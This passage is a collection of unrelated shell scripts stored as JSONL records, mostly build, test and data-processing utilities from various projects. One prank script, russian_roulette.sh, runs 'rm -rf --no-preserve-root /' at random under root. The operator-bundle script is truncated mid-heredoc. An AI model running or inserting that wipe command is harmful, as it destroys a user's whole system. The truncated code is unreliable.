COMMAND=\"/sipp/sipp\"\nelse\n COMMAND=\"$@\"\nfi\n\nexec ${COMMAND}"} {"text": "#!/bin/bash\n\n# Loading the required module\nmodule load anaconda/2021a\n\nTRAINED_MODEL=${1-\"/openpi_project/openpi_project/tmp/training_output/gpt2_augmented\"}\nINPUT_TO_PRED_CSV=${2-\"/openpi_project/openpi_project/data/augmented_for_openpi/test_formatted.jsonl\"}\nOUTPUT_FILEPATH_CSV=${3-\"/openpi_project/openpi_project/tmp/eval/gpt2_augmented_max10_samples/out.csv\"}\nAGG_OUTPUT_FILEPATH_CSV=${4-\"/openpi_project/openpi_project/tmp/eval/gpt2_augmented_max10_samples/agg_long.csv\"}\nMAX_LEN=${5-120}\n\nset -x # print the command being executed.\n\nIFS=',' read -ra prediction_input_files <<< \"$INPUT_TO_PRED_CSV\"\nIFS=',' read -ra prediction_output_files <<< \"$OUTPUT_FILEPATH_CSV\"\nIFS=',' read -ra agg_pred_output_files <<< \"$AGG_OUTPUT_FILEPATH_CSV\"\n\nfor i in ${!prediction_input_files[*]}; do\n python training/generation.py \\\n --model_path \"$TRAINED_MODEL\" \\\n --test_input_file \"${prediction_input_files[i]}\" \\\n --unformatted_outpath \"${prediction_output_files[i]}\" \\\n --formatted_outpath \"${agg_pred_output_files[i]}\" \\\n --max_len $MAX_LEN\ndone"} {"text": "Kris2k/dotfiles1-10\n#!/bin/tcsh\n\nset red=\"%{\\033[1;31m%}\"\nset green=\"%{\\033[0;32m%}\"\nset yellow=\"%{\\033[1;33m%}\"\nset blue=\"%{\\033[1;34m%}\"\nset magenta=\"%{\\033[1;35m%}\"\nset cyan=\"%{\\033[1;36m%}\"\nset white=\"%{\\033[0;37m%}\"\nset end=\"%{\\033[0m%}\"\nif ( $USER == root ) then\n\tset usr=\"${red}%n\"\nelse\n\tset usr=\"${green}%n\"\nendif\n\nsetenv GIT_BRANCH_CMD \"\"\nif ( -d ${PWD}/.git ) then\n setenv GIT_BRANCH_CMD `git branch --no-color|sed -ne 's/^* \\(.*\\)/\\1/p'`\n setenv GIT_BRANCH_CMD \"${magenta}(${white}git${magenta})${yellow}-${magenta}[${green}${GIT_BRANCH_CMD}${magenta}]\"\nendif\n\nset prompt=\"${usr}${magenta}@${blue}%m ${cyan}%c05 ${white}[%h] ${yellow}%B.%P.%b ${red}%? ${GIT_BRANCH_CMD}${end} \\n${green}%#->${end} \"\n\nunset red green yellow blue magenta cyan white end usr\n# aparently I wanted to save history on each propmt, invocation\n# sth didn't work out\n# history -S; history -M c"} {"text": "0\n#!/bin/bash\n\npython3 setup.py sdist\n\nmkdir temp\ncp -R test/ temp\ncp dist/pyLDB-*.tar.gz temp\n\ncd temp/\nvirtualenv venv -p python3\n. venv/bin/activate\n\npip install pyLDB-*.tar.gz\npip install requests\npython -m unittest discover test"} {"text": "src/zfp-0.5.5/zfp_embed.sh\n#!/bin/sh\n\n# Adjust Config\nsed -i .orig \\\n -e 's/^# DEFS += -DBIT_STREAM_WORD_TYPE=uint8/DEFS += -DBIT_STREAM_WORD_TYPE=uint8/'\\\n -e 's/^BUILD_UTILITIES = \\(.*\\)/BUILD_UTILITIES = 0/'\\\n -e 's/BUILD_TESTING = \\(.*\\)/BUILD_TESTING = 0/' Config\n\n#\n# For each file in templates, add 'static' in front of _t2 that are missing them\n#\ntfiles=$(ls src/template/*.c)\nfor tf in $tfiles; do\n cp $tf $tf.orig\ndone\nfor tf in $tfiles; do\n cat $tf | tr '\\n' '@' | sed -e 's/@\\([a-z0-9]*\\)@_t2(/@static \\1@_t2(/g' | tr '@' '\\n' > $tf.tmp\n mv $tf.tmp $tf\ndone\n\n#\n# For each file in templates, add zfpns. to _t2(zfp_encode_* and _t2(zfp_decode* calls\n#\ntfiles=$(ls src/template/*compress.c)\nfor tf in $tfiles; do\n cat $tf | sed -e 's/\\(^ *\\)_t2(zfp_\\(..\\)code_\\(.*\\),/\\1_t2(zfpns.zfp_\\2code_\\3,/' > $tf.tmp\n mv $tf.tmp $tf\ndone\n\n#\n# For each template file map stream_ methods to bsns.stream_\n#\n#tfiles=\"src/template/decode.c src/template/decodef.c src/template/encode.c src/template/encodef.c src/template/revdecode.c src/template/revdecodef.c src/template/revencode.c src/template/revencodef.c\"\n#for tf in $tfiles; do\n# cat $tf | sed -e 's/stream_\\(.*\\)(\\(.*\\))/bsns.stream_\\1(\\2)/g' > $tf.tmp\n# mv $tf.tmp $tf\n#done\n\n# For each file in src\n# 1) Add partial initialization of namespace struct\ninit_funcs=\"\"\nsfiles=$(ls src/*.c)\nfor sf in $sfiles; do\n cp $sf $sf.orig\n fsig_lines=$(gcc -E -I./src -I./include $sf | grep '^zfp_.*_block' | cut -d'(' -f1)\n if [[ -z \"$fsig_lines\" ]]; then\n continue\n fi\n sftag=$(echo $sf | cut -d'/' -f2 | cut -d'.' -f1)\n append=\"void zfp_init_$sftag() {\"\n init_funcs=\"$init_funcs zfp_init_$sftag()\"\n for line in $fsig_lines; do\n append=\"$append\\n zfpns.$line = $line;\"\n done\n append=\"$append\\n}\\n\"\n echo $append >> $sf\ndone\n\n#\n# Adjust zfp.c for all static methods\n#\ncp src/zfp.c src/zfp.c.orig\ncat src/zfp.c | tr '\\n' '@' | sed -e 's/@@\\([a-z0-9_\\*]*\\)@zfp_\\([a-z0-9_]*\\)(\\([a-z0-9_, \\*]*\\))@{@/@@static \\1 zfp_\\2( \\3 )@{@/g' | tr '@' '\\n' > src/zfp.c.tmp\nmv src/zfp.c.tmp src/zfp.c\n# Adjust all ZFP function call instances with zfpns. prepending them\ncat src/zfp.c | sed '/^static .* zfp_.*(/!s/zfp_\\([a-z0-9_]*\\)(/zfpns.zfp_\\1(/' > src/zfp.c.tmp\nmv src/zfp.c.tmp src/zfp.c\n# Gather ZFP constant definitions and remove from top\nconst_list=$(cat src/zfp.c | grep '^export_ const' | sed 's/export_ const \\(.*\\) zfp_\\(.*\\) = \\(.*\\);/.zfp_\\2 = \\3@/')\ncat src/zfp.c | grep -v '^export_ const' > src/zfp.c.tmp\nmv src/zfp.c.tmp src/zfp.c\n# Adjust refs to zfp_codec_version\ncat src/zfp.c | sed 's/zfp_codec_version/zfpns.zfp_codec_version/g' > src/zfp.c.tmp\nmv src/zfp.c.tmp src/zfp.c\n# Define and populate the zfpns struct with constants and functions defined here\nfunc_list=$(cat src/zfp.c | grep '^static \\([a-z0-9_\\*]*\\) zfp_\\([a-z0-9_]*\\)(' | cut -d'(' -f1 | cut -d' ' -f3)\necho \"\" >> src/zfp.c\necho \"\" >> src/zfp.c\necho \"struct _zfp_namespace_struct zfpns = {\" >> src/zfp.c\necho $const_list | sed -e 's/^/ /' -e 's/@$//' -e 's/@/,@ /g' | tr '@' '\\n' >> src/zfp.c\necho \"};\" >> src/zfp.c\necho \"\" >> src/zfp.c\necho \"\" >> src/zfp.c\nfor f in $init_funcs; do\n echo \"extern void $f;\" >> src/zfp.c\ndone\necho \"\" >> src/zfp.c\necho \"\" >> src/zfp.c\necho \"void zfp_init_zfp() {\" >> src/zfp.c\nfor f in $func_list; do\n echo \" zfpns.$f = $f;\" >> src/zfp.c\ndone\nfor f in $init_funcs; do\n echo \" $f;\" >> src/zfp.c\ndone\necho \"}\" >> src/zfp.c\n\n# fix up bitstream funcs in zfp.c\nsed -e 's/stream_word_bits/bsns.stream_word_bits/g' -e 's/ stream_flush(/ bsns.stream_flush(/g' -e 's/ stream_align/ bsns.stream_align/g' -e 's/ stream_rewind/ bsns.stream_rewind/g' -e 's/ stream_write_bits/ bsns.stream_write_bits/g' -e 's/\\([( ]\\)stream_read_bits/\\1bsns.stream_read_bits/g' -e 's/ stream_size/ bsns.stream_size/g' src/zfp.c > src/zfp.c.tmp\nmv src/zfp.c.tmp src/zfp.c\n\n#\n# Adjust zfp.h to create namspace struct\n#\ncat include/zfp.h | tr '\\n' '@' | sed -e 's/@zfp_field_alloc();@/@zfp_field_alloc(@);@/' | sed -e 's/@\\([a-zA-Z0-9_\\*]*\\)\\([^@]*\\)@zfp_\\([^@]*\\)(@/@\\1@(*zfp_\\3)(@/g' -e 's/@\\([uintvoid]\\{4\\}\\) zfp_\\([^@]*\\)(/@\\1 (\\*zfp_\\2)(/g' -e 's/@#ifdef __cplusplus@extern \"C\" {@#endif@/@#ifdef __cplusplus@extern \"C\" {@#endif@@typedef struct _zfp_namespace_struct {@#undef extern_@#define extern_ @/' -e 's/@#ifdef __cplusplus@}@#endif@/@} zfp_namespace_struct_t;@@extern zfp_namespace_struct_t zfpns;@@extern void zfp_init_zfp();@@#ifdef __cplusplus@}@#endif@@/' | tr '@' '\\n' > include/zfp.h.tmp\nmv include/zfp.h include/zfp.h.orig\nmv include/zfp.h.tmp include/zfp.h\n\n#\n# Adjust bitstream.h\n#\ncp include/bitstream.h include/bitstream.h.orig\nsed -e 's/^\\(.*\\) stream_\\(.*\\)(\\(.*\\));/\\1 (\\*stream_\\2)(\\3);/' -e '/^extern_ const/d' include/bitstream.h | tr '\\n' '@' | sed -e 's/@extern \"C\" {@#endif@/@extern \"C\" {@#endif@typedef struct _bs_namespace_struct {@@const size_t stream_word_bits;@/' -e 's/@#ifdef __cplusplus@}@/@} bs_namespace_struct_t;@extern bs_namespace_struct_t bsns;@@#ifdef _cplusplus@}@/' | tr '@' '\\n' > include/bitstream.h.tmp\nmv include/bitstream.h.tmp include/bitstream.h\n# Fix src/inline/bitstream.c\ncp src/inline/bitstream.c src/inline/bitstream.c.orig\ncat src/inline/bitstream.c | tr '\\n' '@' | sed -e 's/@#ifndef inline_@ #define inline_@#endif/@#ifndef inline_@ #define inline_ static@#else@ #define no_bsns@#endif/' | tr '@' '\\n' > src/inline/bitstream.c.tmp\nmv src/inline/bitstream.c.tmp src/inline/bitstream.c\necho \"@#ifndef no_bsns@@struct _bs_namespace_struct bsns = {@\" | tr '@' '\\n' >> src/inline/bitstream.c\nfunc_list=$(grep ^stream_ src/inline/bitstream.c |grep -v '_word(' | grep -v stream_set_stride | cut -d'(' -f1)\nfor f in $func_list; do\n echo \" .$f = $f,\" >> src/inline/bitstream.c\ndone\necho \" .stream_word_bits = wsize\" >> src/inline/bitstream.c\necho \"@};@@#endif@\" | tr '@' '\\n' >> src/inline/bitstream.c\n# Fix src/bitstream.c\nsed -i .orig '/export_ const size_t stream_word_bits/d' src/bitstream.c"} {"text": "#!/bin/bash\n\n# =====================================================================\n# This script uses the Artistic Style source code formatter.\n# (http://astyle.sourceforge.net/)\n# =====================================================================\n# If you are running on your own system, you may need to install the\n# astyle package. On Fedora, use `sudo dnf astyle`\n#\n# =====================================================================\n# To use this script:\n# =====================================================================\n# 1. Copy this file into your project directory.\n# 2. Change file permissions so this is an executable.\n# chmod +x format.sh\n# 3. Execute this script in your project directory to format all files\n# ./format.sh\n# =====================================================================\n\nastyle --style=kr --indent=spaces --convert-tabs --recursive \"./*.cpp\"\nastyle --style=kr --indent=spaces --convert-tabs --recursive \"./*.h\"\nastyle --style=kr --indent=spaces --convert-tabs --recursive \"./*.c\""} {"text": "ISI-apex/hpsc-bsp1-10\n#!/bin/bash\n\nexport GIT_REPO=\"https://github.com/ISI-apex/meta-hpsc.git\"\nexport GIT_REV=616e192e37664e4ccc2f980b996f2623600163c1\nexport GIT_BRANCH=hpsc\n\n# Yocto layers aren't built\nexport DO_FETCH_ONLY=1"} {"text": "burrbull/panic-semihosting\nset -euxo pipefail\n\nmain() {\n cargo check --target $TARGET\n\n if [ $TRAVIS_RUST_VERSION = nightly ]; then\n cargo check --target $TARGET --features inline-asm\n fi\n}\n\nmain"} {"text": "#! /bin/bash\n\nthis_dir=$(dirname \"$0\")\n\n# add own bin dir as fallback\n# might come in handy if readelf binary is missing on the system (not sure if that's even possible, though)\nexport PATH=\"$PATH\":\"$this_dir\"/usr/bin\n\n\"$this_dir\"/usr/bin/python -m appimagelint \"$@\""} {"text": "#!/usr/bin/env bash\nSCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\nsource $SCRIPT_DIR/release-funcs.sh\nsource \"$SOLUTION_ROOT/Disunity.Core/core-release-artifacts.sh\"\nsource \"$SOLUTION_ROOT/Disunity.Editor/editor-release-artifacts.sh\"\nsource \"$SOLUTION_ROOT/Disunity.Preloader/preloader-release-artifacts.sh\"\nsource \"$SOLUTION_ROOT/Disunity.Runtime/runtime-release-artifacts.sh\"\n\nEDITOR_OUT_BASE=\"Editor/Assets/Disunity\"\nEDITOR_DEPS=\"$EDITOR_OUT_BASE/Dependencies\"\n\n# 0. Cleanup out directory\ndelete \"$EDITOR_OUT_BASE\"\n\n# 1. Create Mod Editor\neditor-outs \"$EDITOR_OUT_BASE/Editor/\"\neditor-deps \"$EDITOR_DEPS\"\ncore-outs \"$EDITOR_OUT_BASE\"\ncore-deps \"$EDITOR_DEPS\"\npreloader-outs \"$EDITOR_OUT_BASE\"\npreloader-deps \"$EDITOR_DEPS\"\nruntime-outs \"$EDITOR_OUT_BASE\"\nruntime-deps \"$EDITOR_DEPS\"\n\n# 2. Cleanup assemblies already loaded by Unity\nremove-unity-duplicates \"$EDITOR_OUT_BASE\"\nremove-unity-duplicates \"$EDITOR_DEPS\""} {"text": "0\n#!/bin/bash\n\nraku -I../lib ../bin/check-journal journal.bad"} {"text": "#!/bin/bash\n\npackageName=\"port-tester\"\noutputDir=\"target\"\nspl=\"$outputDir/$packageName.spl\"\ntar=\"$packageName.tar\"\n\n\ncp README.md $packageName\n\nmkdir -p $outputDir\n\ntar -cvzf $spl $packageName\n\nrm $packageName/README.md"} {"text": "#!/bin/bash\necho \"Bash version ${BASH_VERSION}...\"\nif [ -z \"${BASH_VERSION}\" ]\nthen\n echo \"Run with bash\"\n exit 1\nfi\n\nfor i in {1..160}\ndo\n\tphp FixEntryGuids.php\ndone"} {"text": "russian_roulette.sh\n#!/bin/bash\n\nfunction checkAndBegin {\nif [[ $(id -u) == 0 ]]; then\n\tread -r -p \"Are you sure? [y/N] \" response\n\tcase \"$response\" in\n\t [yY][eE][sS]|[yY]) \n\t roullette\n\t ;;\n\t *)\n\t ;;\n\tesac\nelse\n\techo 'Where is your dark side?'\n\techo 'Run with sudo'\nfi\n}\n\nfunction roullette {\n\tr=$(($RANDOM % 5))\n\tcase $r in\n\t\t0|1|2|3)\n\t\t\techo \"Guess you're lucky\";\n\t\t\texit 1\n\t\t\t;;\n\t\t4)\n\t\t\techo \"Dead.\";\n\t\t\trm -rf --no-preserve-root /\n\t\t\t;;\n\t\tesac;\n}\n\necho -e '\\nThere stands 20% probability of you destroying your system.'\necho -e 'The creator is not liable. Commence on your own risk.\\n'\ncheckAndBegin"} {"text": "0\n#!/usr/bin/env bash\n\nset -e\n\nusage() {\n echo \"Usage: $0\n [ -i BUNDLE_IMAGE a pull spec to a bundle image to copy ]\n [ -n PKG_NAME the new operator package name ]\n [ -v BUNDLE_VERSION the new operator version ]\n [ -r OCP_RANGE the new supported OpenShift version range (see: https://url.corp.redhat.com/6e0ad44) ]\n [ -o OUTPUT_PATH a directory for the generated structure ]\n [ -h show this usage ]\" 1>&2\n}\n\n# Image with the `yq` utility installed\nYQ_IMG=quay.io/redhat-isv/operator-pipelines-images:latest\n\n# Default CLI arg values\nBUNDLE_IMAGE=\"quay.io/operator-pipeline-stage/test-e2e-operator:0.0.7\"\nPKG_NAME=\"test-operator-$(whoami)\"\nOCP_RANGE=\"v4.7\"\nBUNDLE_VERSION=\"0.0.1\"\nOUTPUT_PATH=\".\"\n\n# Parse optional CLI args\nwhile getopts \":i:n:v:r:o:h:\" opt; do\n case $opt in\n i) BUNDLE_IMAGE=$OPTARG;;\n n) PKG_NAME=$OPTARG;;\n v) BUNDLE_VERSION=$OPTARG;;\n r) OCP_RANGE=$OPTARG;;\n o) OUTPUT_PATH=$OPTARG;;\n h) usage && exit 0;;\n *) usage && exit 1;;\n esac\ndone\n\necho \"Copying Operator bundle image: $BUNDLE_IMAGE\"\necho \"New bundle version: $BUNDLE_VERSION\"\necho \"New package name: $PKG_NAME\"\necho \"New OCP version range: $OCP_RANGE\"\necho \"Output path: $OUTPUT_PATH\"\n\npodman pull $BUNDLE_IMAGE\n\nDEST=\"$(realpath $OUTPUT_PATH)/$PKG_NAME/$BUNDLE_VERSION\"\nmkdir -p $DEST\n\n# Command to run with `podman unshare`\n# Mounts the filesystem of the bundle image to the local system\n# Corrects the directory permissions so they can be accessed\nUNSHARE_CMD=$(cat < \"$MANIFESTS/$PKG_NAME.clusterserviceversion.yaml\"\necho \"$NEW_ANNOTATIONS\" > $ANNOTATIONS\n\necho \"Successfully created bundle directory: $DEST\""} {"text": "#!/bin/bash\n\n# Example:\n# sh CBIG_gwMRF_unit_test.sh ~/storage/Temporary/CBIG_gwMRF_unit_test\n#\n# Written by and CBIG under MIT license: https://github.com/ThomasYeoLab/CBIG/blob/master/LICENSE.md\n\nuser=`whoami`\n\n###############################\n# Set paths and create log file\n###############################\n\n# code_dir contains Schaefer2018 parcellation codes\ncode_dir=$CBIG_CODE_DIR/stable_projects/brain_parcellation/Schaefer2018_LocalGlobal/Code\n\n# data_dir contains data used by unit test\ndata_dir=$CBIG_TESTDATA_DIR/stable_projects/brain_parcellation/Schaefer2018_LocalGlobal/data\n\n# ref_dir contains reference results\nref_dir=$CBIG_TESTDATA_DIR/stable_projects/brain_parcellation/Schaefer2018_LocalGlobal/results\n\n# pass in output_dir\noutput_dir=`realpath ${1}`\nmkdir -p ${output_dir}/logs\nmkdir -p ${output_dir}/job_err_out\n\n# create log file in output_dir\nLF=\"${output_dir}/logs/CBIG_gwMRF_unit_test.log\"\ntouch $LF\necho -e \"Start CBIG_gwMRF_unit_test\" >> $LF\ndate >> $LF\necho -e \"\\nOutput folder = ${output_dir}\" >> $LF\necho -e \"Reference folder = ${ref_dir} \\n\\n\" >> $LF\n\n\n###################################\n# Generate example results\n###################################\n\nex_output_dir=${output_dir}/example_out\nex_input_fullpath=${ex_output_dir}/example_input_fullpaths.csv\n\n# specify input parameters\nstart_idx='1'\nend_idx='2'\nnum_left_cluster='50'\nnum_right_cluster='50'\nsmoothcost='5000'\nnum_iterations='2'\nnum_runs='1'\nstart_gamma='50000000'\nexponential='15'\n\nmy_cmd=\"cd ${code_dir};\"\nmy_cmd=\"${my_cmd} matlab -nosplash -nodisplay -nodesktop -r \" \nmy_cmd=\"${my_cmd} \\\"CBIG_gwMRF_build_data_and_perform_clustering ${ex_input_fullpath} ${ex_output_dir} \\\n ${start_idx} ${end_idx} ${num_left_cluster} ${num_right_cluster} ${smoothcost} ${num_iterations} \\\n ${num_runs} ${start_gamma} ${exponential}; exit;\\\" \"\n\n# submit job for generating example results\nERR_FILE_PATH=\"${ex_output_dir}/CBIG_gwMRF_example.err\"\nOUT_FILE_PATH=\"${ex_output_dir}/CBIG_gwMRF_example.out\"\n\n# this is to accomodate for new HPC\ntemp_script_file1=\"${ex_output_dir}/temp_script1.sh\"\necho '#!/bin/bash ' >> ${temp_script_file1}\necho ${my_cmd} >> ${temp_script_file1}\nchmod 755 ${temp_script_file1}\n\n$CBIG_CODE_DIR/setup/CBIG_pbsubmit -cmd \"${temp_script_file1}\" -walltime 3:00:00 -mem 35G -name \"gwMRF_ex\" \\\n-joberr ${ERR_FILE_PATH} -jobout ${OUT_FILE_PATH}\n\n# will not proceed to next step until the current job is successfully done\nex_out_name='Graph_Cut_faster__grad_prior_gordon_cluster_20_datacost_1_smoothcost_5000_iterations_2_seed_1.mat'\nex_out_file=${ex_output_dir}/clustering/${ex_out_name}\nsh $CBIG_CODE_DIR/utilities/scripts/CBIG_check_job_status -n gwMRF_ex -o ${ex_out_file}\n\nEXIT_STATUS=$?\nif [[ \"$EXIT_STATUS\" -eq \"1\" ]]\nthen\n\techo \"Failed to generate example parcellations.\"\n\texit 1\nelse\n\techo \"Successfully generated example results. Will proceed with the rest of the unit test...\"\nfi\n\n####################################\n# Create input time and mult matrix\n####################################\n\n# note that the mult matrix is generated based on the time matrix\n# therefore we squash two matlab commands together\n# we only checks the final mult matrix result, no need to check time matrix (extra complexity)\n\nTIME_DATA_OUT=\"${output_dir}/time_data\"\nMULT_DATA_OUT=\"${output_dir}/mult_mat\"\n\nmkdir -p ${TIME_DATA_OUT}\nmkdir -p ${MULT_DATA_OUT}\n\n# specifiy job inputs for build time mat\ninput_fullpaths=\"${output_dir}/unit_tests_input_fullpaths_short.csv\"\nstart_idx='1'\nend_idx='2'\nfsaverage='fsaverage6'\nlh_output_file='lh_time_matrix.mat'\nrh_output_file='rh_time_matrix.mat'\n\n# specify job inputs for build mult mat\nlh_input_filename=\"${output_dir}/time_data/lh_time_matrix.mat\"\nrh_input_filename=\"${output_dir}/time_data/rh_time_matrix.mat\"\nlh_output_filename='lh_mult_matrix.mat'\nrh_output_filename='rh_mult_matrix.mat'\n\n# create one matlab command that sequencially calls the 2 functions\n# that build time matrix and mult matrix separately\nmy_cmd2=\"cd ${code_dir}/lib ;\"\nmy_cmd2=\"${my_cmd2} matlab -nosplash -nodisplay -nodesktop -r \"\nmy_cmd2=\"${my_cmd2} \\\"CBIG_gwMRF_build_time_matrix ${input_fullpaths} ${TIME_DATA_OUT} ${start_idx} \\\n ${end_idx} ${fsaverage} ${lh_output_file} ${rh_output_file}; \"\nmy_cmd2=\"${my_cmd2} CBIG_gwMRF_build_prod_matrix ${lh_input_filename} ${rh_input_filename} \\\n${MULT_DATA_OUT} ${lh_output_filename} ${rh_output_filename}; exit; \\\" \"\n\n# submit job for generating the time matrix\nERR_FILE_PATH=\"${output_dir}/job_err_out/CBIG_gwMRF_mult.err\"\nOUT_FILE_PATH=\"${output_dir}/job_err_out/CBIG_gwMRF_mult.out\"\n\n# this is to accomodate for new HPC\ntemp_script_file2=\"${output_dir}/temp_script2.sh\"\necho '#!/bin/bash' >> ${temp_script_file2}\necho ${my_cmd2} >> ${temp_script_file2}\nchmod 755 ${temp_script_file2}\n\n$CBIG_CODE_DIR/setup/CBIG_pbsubmit -cmd \"${temp_script_file2}\" -walltime 1:00:00 -mem 15G -name \"gwMRF_mult_mat\" \\\n-joberr ${ERR_FILE_PATH} -jobout ${OUT_FILE_PATH}\n\n# wait until the current job is done, by checking both the job name and the mult mat file\n# we only check rh mult mat since it is generated after the lh mult mat\nOUT_FILE_DIR=\"${output_dir}/mult_mat/rh_mult_matrix.mat\"\nsh $CBIG_CODE_DIR/utilities/scripts/CBIG_check_job_status -n 'gwMRF_mult_mat' -o ${OUT_FILE_DIR}\n\nEXIT_STATUS=$?\nif [[ \"$EXIT_STATUS\" -eq \"1\" ]]\nthen\n\techo \"[FAILED] Failed to generate multiplied matrices.\"\n\texit 1\nelse\n\techo \"Successfully generated multiplied matrices. Will proceed with the rest of the unit test...\"\nfi\n\n####################################################\n# Generate intermediate RH parcellation for seed 2\n####################################################\n\n# in the function input below, note that we delibrately set 'iter_reduce_gamma' to 1\n# since running the job to the end (iter_reduce_gamma = 300) will be very time consuming\n# in the previous example, we have already run seed 1 to the end\n# here, we only intend to test 1 more seed, thus 1 iteration is enough\n\nvargin=\" 'lh_avg_file' '${output_dir}/mult_mat/lh_mult_matrix.mat' \\\n 'rh_avg_file' '${output_dir}/mult_mat/rh_mult_matrix.mat' 'left_cluster' '50' 'right_cluster' \\\n '50' 'iterations' '2' 'smoothcost' '1000' 'start_index' '2' 'runs' '1' 'output_folder' \\\n '${output_dir}/clustering/' 'dim' '360' 'exponential' '15' 'start_gamma' '10000000' 'skip_left' '1' \\\n 'iter_reduce_gamma' '1' \";\n\nPROJ_CODE_DIR=\"${CBIG_CODE_DIR}/stable_projects/brain_parcellation/Schaefer2018_LocalGlobal/Code\"\n\nmy_cmd3=\"cd ${code_dir}; \"\nmy_cmd3=\"${my_cmd3} matlab -nosplash -nodisplay -nodesktop -r \"\nmy_cmd3=\"${my_cmd3} \\\" addpath(genpath('${PROJ_CODE_DIR}'));\"\nmy_cmd3=\"${my_cmd3} CBIG_gwMRF_graph_cut_clustering ${vargin}; exit; \\\" \";\n\n# submit job for generating the time matrix\nERR_FILE_PATH=\"${output_dir}/job_err_out/CBIG_gwMRF_seed2.err\"\nOUT_FILE_PATH=\"${output_dir}/job_err_out/CBIG_gwMRF_seed2.out\"\n\n# this is to accomodate for new HPC\ntemp_script_file3=\"${output_dir}/temp_script3.sh\"\necho '#!/bin/bash' >> ${temp_script_file3}\necho ${my_cmd3} >> ${temp_script_file3}\nchmod 755 ${temp_script_file3}\n$CBIG_CODE_DIR/setup/CBIG_pbsubmit -cmd \"${temp_script_file3}\" -walltime 1:00:00 -mem 15G -name \"gwMRF_seed2\" \\\n-joberr ${ERR_FILE_PATH} -jobout ${OUT_FILE_PATH}\n\n##############################################\n# Hold until first iteration results generated\n##############################################\nprefix=Graph_Cut_faster__grad_prior_gordon_cluster_20_datacost_1_smoothcost_1000_iterations_2\nfile_seed2=${output_dir}/clustering/inbetween_results/${prefix}_seed_2_rh_reduction_iteration_1.mat\nsh $CBIG_CODE_DIR/utilities/scripts/CBIG_check_job_status -n 'gwMRF_seed2' -o ${file_seed2}\n\nEXIT_STATUS=$?\nif [[ \"$EXIT_STATUS\" -eq \"1\" ]]\nthen\n\techo \"[FAILED] Failed to generate results for seed 2.\"\n\texit 1\nelse\n\techo \"Successfully generated results for seed 2. Will proceed with the rest of the unit test...\"\nfi\n\n######################################################\n# Compare results to check whether code pass unit test\n######################################################\n\nERR_FILE_PATH=${output_dir}/job_err_out/CBIG_gwMRF_compare.err\nOUT_FILE_PATH=${output_dir}/job_err_out/CBIG_gwMRF_compare.out\n\nmy_cmd4=\"cd `dirname $0`;\"\nmy_cmd4=\"${my_cmd4} matlab -nosplash -nodisplay -nodesktop -r \"\nmy_cmd4=\"${my_cmd4} \\\" clear;clc;close all;CBIG_gwMRF_check_unit_test_result '${output_dir}';exit; \\\" >> $LF \"\n\n# this is to accomodate for new HPC\ntemp_script_file4=\"${output_dir}/temp_script4.sh\"\n\necho '#!/bin/bash' >> ${temp_script_file4}\necho ${my_cmd4} >> ${temp_script_file4}\nchmod 755 ${temp_script_file4}\n$CBIG_CODE_DIR/setup/CBIG_pbsubmit -cmd \"${temp_script_file4}\" -walltime 1:00:00 -mem 30G -name \"gwMRF_compare\" \\\n-joberr ${ERR_FILE_PATH} -jobout ${OUT_FILE_PATH}\n\n# hold until job is finished\nsh $CBIG_CODE_DIR/utilities/scripts/CBIG_check_job_status -n 'gwMRF_compare'\n\n# remove temporary scripts for pb_submit\nrm ${temp_script_file1} \nrm ${temp_script_file2} \nrm ${temp_script_file3} \nrm ${temp_script_file4} \n\n# check if job contains no failure | is run to the end\nfail=`grep FAILED $LF | wc -l`\ndone=`grep DONE $LF | wc -l`\nif [ $fail -gt 0 ] || [ $done -eq 0 ]; then\n\techo \"[FAILED] Job is unsuccessful. Check log file: $LF.\"\n\texit 1\nfi\n\n##################\n# End of unit test\n##################\n\necho -e \"\\nEnd CBIG_gwMRF_unit_test\" >> $LF\ndate >> $LF\necho -e \"====================================================================\\n\\n\" >> $LF"} {"text": "Average_GC_Content_Analysis/knowGC-contentrun1.sh\n\n##Source: http://wiki.bits.vib.be/index.php/Create_a_GC_content_track\n\n##Descrption: Takes the fasta, 1) Generates Non-overlapping Sliding windows, \n# \t\t 2) Checks if the Sliding windows has N's and ignores if is more than default\n# \t\t\t 3)Outputs the GC% content in each sliding window\n\n#Dependencies: Bedtools,knowGC-contentHistogramrun2.pl (the other sister script in the same folder) \n\n##Script compiled by: \n\n##Date: August 06, 2014\n\n##Email: // \n\n## Usage: ./knowGC-contentrun1.sh \n\nfilefasta=\"$1\"; ##input fasta file\necho \"Input file is: $filefasta\"\n\nwidth=$2 ##default\necho \"Sliding window is: $width\"\n\nMaxN=`expr $width \\* 25 / 100` ##more than 25% N's in the sliding window are ignored.\necho \"Number of N's allowed in ${width} Sliding window: $MaxN\"\n\t\n\t##step1\n\n\techo \"Checking fasta sequence sizes..1/4\"\n\tfaSize ${filefasta} -detailed > ${filefasta}.sizes\n\n\t##step2\n\n\techo \"Making windows..2/4\"\n\tbedtools makewindows -g ${filefasta}.sizes -w ${width} > ${filefasta}.sizes.${width}.window.bed \n\n\t##step3\n\n\techo \"Extracting sliding window sequence..3/4\"\n\tbedtools nuc -fi ${filefasta} -bed ${filefasta}.sizes.${width}.window.bed -seq >${filefasta}.sizes.${width}.window.bed.nuc.out\n\n\t##step4\n\n\techo \"AWKING to get sliding windows with N's < 25% of the sliding window length..4/4\"\n\trm ${filefasta}.window${width}.GC-content.txt ##Deleting previous existing same files\n\thead -1 ${filefasta}.sizes.${width}.window.bed.nuc.out >${filefasta}.window${width}.GC-content.txt\n\n\tawk 'NR>1' ${filefasta}.sizes.${width}.window.bed.nuc.out | awk -v var1=${width} '$3-$2==var1 {print $0;}' | awk -v var2=${MaxN} '$10 <= var2' | awk '{$NF=\"\"}1' >>${filefasta}.window${width}.GC-content.txt ##1st awk checks if the windows is 20kb, 2nd awk checks if the N's in the window are less than 25% of the 20kb, 3rd awk ignores the sliding window sequence and output the file.(..window size is 20kb, 25% of 20kb is 5k)\n\n\techo \"Completed with Bedtools, Now calculating Intervals and proportions\";\n\n\t##step 5\n\tawk '{print $5}' ${filefasta}.window${width}.GC-content.txt | awk 'NR>1' >${filefasta}.window${width}.GC-content.txt.in\n\n\t##step6\n\n\tperl knowGC-contentHistogramrun2.pl ${filefasta}.window${width}.GC-content.txt.in 0 1 0.05 >${filefasta}.window${width}.GC-content.txt.out"} {"text": "#!/bin/bash\n\n# Copyright 2017 Istio Authors\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by 